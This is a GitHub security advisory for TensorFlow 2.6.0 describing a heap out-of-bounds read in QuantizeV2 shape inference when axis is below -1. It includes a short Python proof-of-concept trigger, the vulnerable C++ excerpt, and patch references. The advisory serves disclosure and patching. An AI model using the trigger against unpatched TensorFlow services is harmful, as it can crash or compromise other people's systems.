GHSA-cvgx-3v3q-m36c
Heap OOB in shape inference for `QuantizeV2`
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | >= 2.6.0, < 2.6.1 | 2.6.1 |
| PyPI | tensorflow-cpu | >= 2.6.0, < 2.6.1 | 2.6.1 |
| PyPI | tensorflow-gpu | >= 2.6.0, < 2.6.1 | 2.6.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
The [shape inference code for `QuantizeV2`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/framework/common_shape_fns.cc#L2509-L2530) can trigger a read outside of bounds of heap allocated array:
```python
import tensorflow as tf
@tf.function
def test():
data=tf.raw_ops.QuantizeV2(
input=[1.0,1.0],
min_range=[1.0,10.0],
max_range=[1.0,10.0],
T=tf.qint32,
mode='MIN_COMBINED',
round_mode='HALF_TO_EVEN',
narrow_range=False,
axis=-100,
ensure_minimum_range=10)
return data
test()
```
This occurs whenever `axis` is a negative value less than `-1`. In this case, we are accessing data before the start of a heap buffer:
```cc
int axis = -1;
Status s = c->GetAttr("axis", &axis);
if (!s.ok() && s.code() != error::NOT_FOUND) {
return s;
}
...
if (axis != -1) {
...
TF_RETURN_IF_ERROR(
c->Merge(c->Dim(minmax, 0), c->Dim(input, axis), &depth));
}
```
The code allows `axis` to be an optional argument (`s` would contain an `error::NOT_FOUND` error code). Otherwise, it assumes that `axis` is a valid index into the dimensions of the `input` tensor. If `axis` is less than `-1` then this results in a heap OOB read.
### Patches
We have patched the issue in GitHub commit [a0d64445116c43cf46a5666bd4eee28e7a82f244](https://github.com/tensorflow/tensorflow/commit/a0d64445116c43cf46a5666bd4eee28e7a82f244).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, as this version is the only one that is also affected.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cvgx-3v3q-m36c
- https://nvd.nist.gov/vuln/detail/CVE-2021-41211
- https://github.com/tensorflow/tensorflow/commit/a0d64445116c43cf46a5666bd4eee28e7a82f244
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-620.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-818.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-403.yaml
- https://github.com/tensorflow/tensorflow